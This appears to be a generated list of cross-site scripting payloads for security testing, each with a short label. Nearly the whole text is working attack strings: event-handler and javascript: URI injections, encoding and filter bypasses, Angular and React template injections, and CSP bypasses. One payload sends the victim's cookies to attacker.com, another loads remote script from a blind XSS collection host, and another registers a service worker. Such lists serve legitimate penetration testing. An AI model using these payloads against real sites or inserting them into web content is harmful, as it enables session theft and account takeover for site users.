Generate XSS testing payloads for security testing. Review the result before reusing it in another workflow.
Image tag with onerror event
<img src=x onerror=alert("XSS") />SVG element with onload event
<svg onload=alert("XSS")>Body tag with onload event
<body onload=alert("XSS")>Iframe with JavaScript protocol
<iframe src="javascript:alert('XSS')">Embed tag with base64 encoded JavaScript
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4=" />Object tag with JavaScript protocol
<object data="javascript:alert('XSS')">Input with autofocus and onfocus event
<input autofocus onfocus=alert("XSS") />DOM XSS through URL hash
#<img src=x onerror=alert("XSS") />DOM XSS via document.write
<script>document.write(location.hash.slice(1))</script>DOM XSS via innerHTML assignment
<script>element.innerHTML = location.search</script>Bypass case-sensitive filters
<ScRiPt>alert("XSS")</ScRiPt>HTML entity encoded script tag
<script>alert("XSS")</script>Double URL encoded script
%253Cscript%253Ealert("XSS")%253C/script%253EUnicode escape sequence bypass
<script>\u0061lert("XSS")</script>Null byte injection
<script>alert("XSS")%00</script>Break out of HTML comment
--><script>alert("XSS")</script><!--Works in multiple contexts
javascript:/*--></title></style></AppTextarea></script></xmp><svg/onload='+/"/+/onmouseover=1/+/[*/[]/+alert(1)//'>Breaks out of attribute and executes JS
"><script>alert(String.fromCharCode(88,83,83))</script>Works in single or double quoted attributes
'" onclick=alert("XSS")>JavaScript template literal injection
${alert("XSS")}Uses constructor chain to execute code
[].constructor.constructor("alert(1)")()Exfiltrate cookies via fetch
<img src=x onerror="fetch('https://attacker.com/?'+document.cookie)" />Uses MutationObserver for persistent XSS
<script>new MutationObserver(()=>alert("XSS")).observe(document,{childList:true})</script>Register malicious service worker
<script>navigator.serviceWorker.register("/evil-sw.js")</script>Angular template expression injection
{{constructor.constructor("alert(1)")()}}Exploit React dangerouslySetInnerHTML
"><img src=x onerror=alert("XSS") />Bypass CSP using JSONP endpoints
<script src="https://example.com/jsonp?callback=alert"></script>CSP bypass using whitelisted Angular CDN
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.2/angular.min.js"></script><div ng-app ng-csp>{{$eval.constructor("alert(1)")()}}</div>Blind XSS payload for XSS Hunter
"><script src=https://yoursubdomain.xss.ht></script>